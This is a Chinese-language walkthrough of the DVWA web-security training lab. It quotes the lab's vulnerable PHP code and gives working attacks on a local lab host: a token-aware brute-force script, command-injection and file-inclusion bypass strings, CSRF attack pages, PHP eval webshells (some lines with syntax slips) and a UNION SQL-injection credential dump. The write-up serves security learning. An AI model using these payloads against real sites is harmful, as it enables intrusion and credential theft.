- DVWA-1.1 Brute Force(暴力破解)-Low
- DVWA-1.2 Brute Force(暴力破解)-Medium
- DVWA-1.3 Brute Force(暴力破解)-High-绕过token
- DVWA-2.1 Command Injection(命令注入)-Low
- DVWA-2.2 Command Injection(命令注入)-Medium-绕过弱的黑名单
- DVWA-2.3 Command Injection(命令注入)-High-绕过强的黑名单
- DVWA-3.1 CSRF(跨站请求伪造)-Low
- DVWA-3.2 CSRF(跨站请求伪造)-Medium-绕过Referer验证
- DVWA-3.3 CSRF(跨站请求伪造)-High-绕过token
- DVWA-4.1 File Inclusion(文件包含)-Low
- DVWA-4.2 File Inclusion(文件包含)-Medium-双写绕过str_replace替换规则
- DVWA-4.3 File Inclusion(文件包含)-High-利用file协议绕过防护策略
- DVWA-5.1 File Upload(文件上传)-Low
- DVWA-5.2 File Upload(文件上传)-Medium-绕过文件类型限制
- DVWA-5.3 File Upload(文件上传)-High-绕过文件类型限制
- DVWA-6.1 Insecure CAPTCHA(不安全的验证码)-Low
- DVWA-6.2 Insecure CAPTCHA(不安全的验证码)-Medium
- DVWA-6.3 Insecure CAPTCHA(不安全的验证码)-High
- DVWA-7.1 SQL Injection(SQL注入)-Low
DVWA-1.1 Brute Force(暴力破解)-Low
<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedecho "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
可以使用万能密码(admin'#)或者爆破用户名密码
传入 username 和 pwd 之后查库对比,没有限制,burp 爆破用户和密码
同时爆破用户名和密码,选择 Cluster bomb 
常用用户名和密码字典:
爆破出 admin 账号密码,实际上还有其他用户,时间关系没继续爆破
DVWA-1.2 Brute Force(暴力破解)-Medium
使用 mysqli_real_escape_string 对特殊字符进行转移,万能密码失效,使用和上一题一样的爆破思路
DVWA-1.3 Brute Force(暴力破解)-High-绕过token
提交参数多了 user_token ,抵御 CSRF 
每次刷新密码提交页面(即从服务器返回登录页面)都会包含 usertoken ,提交登录数据包时会携带上。收到数据包后,服务将 usertoken 与 session_token 比较,判断 CSRF 。
使用了stripslashes()、 mysql_real_escape_string()对参数username、password进行过滤、转义,进一步抵御sql注入
python 脚本单线程爆破,因为一个密码需要对应一个 usertoken ,且一个密码校验完才能进行下一个
思路先访问页面获取到 token ,然后进行爆破
import requestsfrom bs4 import BeautifulSoupdef getToken():url = "http://dvaw:8888/vulnerabilities/brute/"headers = {"Cookie":"PHPSESSID=d665b9e2229f67e34506fa2fb07320cf; security=high"}response = requests.get(url,headers=headers)soup = BeautifulSoup(response.text,"xml")usertoken = soup.find_all('input',attrs={'name':'user_token'})[0]["value"]return usertokendef attack():url = "http://dvaw:8888/vulnerabilities/brute/"headers = {"Cookie":"PHPSESSID=d665b9e2229f67e34506fa2fb07320cf; security=high"}usernames = open("/Users/Sec/tools/密码字典/top1000.txt")passwords = open("/Users/Sec/tools/密码字典/top1000.txt")for username in usernames:for password in passwords:userToken = getToken()password = password.strip()params = {'username':username,'password':password,"Login":"Login","user_token":userToken}response = requests.get(url,params=params,headers=headers)if "Welcome to the password protected area" in response.text:print("username:{}\tpassword:{}\tusertoken:{}\t-----RIGHT".format(username,password,userToken))breakelse:print("username:{}\tpassword:{}\tusertoken:{}\t-----WRONG".format(username,password,userToken))if __name__ == "__main__":attack()
DVWA-2.1 Command Injection(命令注入)-Low
DVWA-2.2 Command Injection(命令注入)-Medium-绕过弱的黑名单
str_replace(find,replace,string,count)函数替换字符串中的一些字符(区分大小写)。
<?phpecho str_replace("world","Peter","Hello world!");?>
solve0
1.1.1.1&ls
solve1
;替换为空,构成了 &&
1.1.1.1&;&ls
DVWA-2.3 Command Injection(命令注入)-High-绕过强的黑名单
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);
'| '多了一个空格,过滤规则错误
1.1.1.1|ls
DVWA-3.1 CSRF(跨站请求伪造)-Low
mysqli_real_escape_string()将密码中的特殊字符进行转义,抵御 SQL 注入
源码没有校验 token 的地方,只要浏览器之前登录过 DWAV(因为是否登录系统在上层函数有校验),那么访问下面链接就会被修改密码:
http://dvaw:8888/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
换个浏览器就不行了,因为 token 不通用。
DVWA-3.2 CSRF(跨站请求伪造)-Medium-绕过Referer验证
stripos(string,find,start):返回字符串在另一字符串中第一次出现的位置(不区分大小写),如果没有找到字符串则返回 FALSE。
过滤规则是http包头的Referer参数的值中必须包含主机名
HTTP_REFERER 是来源地址;SERVER_NAME 是主机名
绕过方法
将攻击网页重命名为主机名,访问时 HTTP_REFERER 就带上主机名
例子
修改题目源码,限定主机名为 hack
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,"hack") !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];
根目录下创建文件 hack.php
<html><img src="http://dvaw:8888/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change"/><h1>404</h1></html>
访问[http://dvaw:8888/](http://dvaw:8888/)hack.php即可修改密码
DVWA-3.3 CSRF(跨站请求伪造)-High-绕过token
和 high 爆破密码一样,返回页面时会带有 token ,提交的时候会一同提交用于抵御 CSRF
跨站获取(实际不可行)
写一个攻击网页,受害者点击进入时会以隐藏方式打开页面获取 token ,然后提交修改密码的申请。
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Title</title></head><script type="text/javascript">function attack() {// 获取tokendocument.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;// 自动提交修改密码请求document.getElementById('transfer').submit();}</script><!--隐藏的内嵌式网页,用于获取token--><iframe src="http://dvaw:8888/vulnerabilities/csrf/" id="hack" border="0" style="display: none;"></iframe><body onload="attack()"><form method="get" id="transfer" action="http://dvaw:8888/vulnerabilities/csrf/"><input type="hidden" name="password_new" value="password"><input type="hidden" name="password_conf" value="password"><input type="hidden" name="user_token" value=""><input type="hidden" name="Change" value="Change"></form></body></html>
理论上访问这个网页:http://localhost:8888/hack.html,就能修改密码。实际上浏览器不允许跨域请求,即不允许域名 A 请求域名 B 的内容,但域名 B 可以发送数据给域名 A 。因此无法获取到 token 。
跨域不能实现,需要将代码注入到目标服务器才行,利用 XSS 等注入代码
DVWA-4.1 File Inclusion(文件包含)-Low
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
<?php// The page we wish to display$file = $_GET[ 'page' ];?>
本地文件包含
http://dvaw:8888/vulnerabilities/fi/?page=/Users/skye/flag
远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件http://dvaw:8888/vulnerabilities/fi/?page=http://localhost:8888/phpinfo.php
DVWA-4.2 File Inclusion(文件包含)-Medium-双写绕过str_replace替换规则
<?php// The page we wish to display$file = $_GET[ 'page' ];// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );$file = str_replace( array( "../", "..\"" ), "", $file );?>
用 str_replace 将特定字符串替换为空,双写字符串类似于:httphttp://://替换后变成http://
本地文件包含
对于绝对路径没有影响,相对路径需要双写http://dvaw:8888/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//Users/skye/flag
远程文件包含
http://dvaw:8888/vulnerabilities/fi/?page=hthttp://tp://localhost:8888/phpinfo.php
DVWA-4.3 File Inclusion(文件包含)-High-利用file协议绕过防护策略
<?php// The page we wish to display$file = $_GET[ 'page' ];// Input validationif( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;}?>
fnmatch() 函数根据指定的模式来匹配文件名或字符串。用在这里就是限制 $file 以file开头。
利用 file 协议就可以绕过这个防护。(浏览器打开本地文件就是用 file 协议)http://dvaw:8888/vulnerabilities/fi/?page=file:///Users/skye/flag
DVWA-5.1 File Upload(文件上传)-Low
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}?>
$_FILES[ 'uploaded' ][ 'name' ]上传文件再 $_FILES 这个字典里面,提前文件名出来move_uploaded_file移动文件
没有对文件内容、后缀等进行限制,上传一句话木马 getshell
<?php@eval($_POST['SkYe231'];?>
DVWA-5.2 File Upload(文件上传)-Medium-绕过文件类型限制
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}}?>
限制文件类型为 jpeg png ,文件大小不大于 100000
文件包含绕过
难度均在 medium
将后门 1.png 上传到服务器:
<?php@eval($_POST['SkYe231'];
蚁剑链接:http://dvaw:8888/vulnerabilities/fi/?page=httphttp://://dvaw:8888/hackable/uploads/1.png
修改文件类型
服务器根据 content-type 判断文件类型,当上传 png 时:
固定 content-type ,将 filename 后缀改为 php 
访问文件时,让服务器当作代码运行
DVWA-5.3 File Upload(文件上传)-High-绕过文件类型限制
难度均在 high
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}}?>
限制文件后缀、文件大小,需要上传一个真实的图片文件才能通过校验,这里就上传一个图片马
图片马
1.php
<?php@eval['SkYe231']; ?>
1.png 随便截个图就好了,然后生成图片马,上传
cat 1.png 1.php > hack.png

之后利用 file 协议绕过检测造成文件包含,执行代码:http://dvaw:8888/vulnerabilities/fi/?page=file:///Users/skye/Sites/DVWA/hackable/uploads/hack.png
DVWA-6.1 Insecure CAPTCHA(不安全的验证码)-Low
<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the user$html .= "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end user$html .= "<pre>Password Changed.</pre>";}else {// Issue with the passwords matching$html .= "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
step=1初始化 CAPTCHA 服务,并检查是否通过验证step=2进行更新密码操作,这时认为通过了验证
抓包将 step 修改成 2 就绕过验证操作
DVWA-6.2 Insecure CAPTCHA(不安全的验证码)-Medium
step=2 的时候多了一个 passed_captcha ,抓包的时候加上就好了。
DVWA-6.3 Insecure CAPTCHA(不安全的验证码)-High
if ($resp ||($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){
resp 返回值不会控制,抓包修改 g-recaptcha-response 和 USER_AGENT 就能绕过验证,同时开启 token 校验,防止 CSRF
DVWA-7.1 SQL Injection(SQL注入)-Low
- 判断闭合符:
1' - 判断字段数:
1' order by 3# - 判断显示字段位置(顺序):
1' union select 1,2# - 获取数据库名:
1' union select 1,database() - 获取当前数据库表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = DATABASE()# - 获取表中字段名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' # - 获取表中数据:
1' union SELECT 1,group_concat(USER,':',PASSWORD) FROM users#
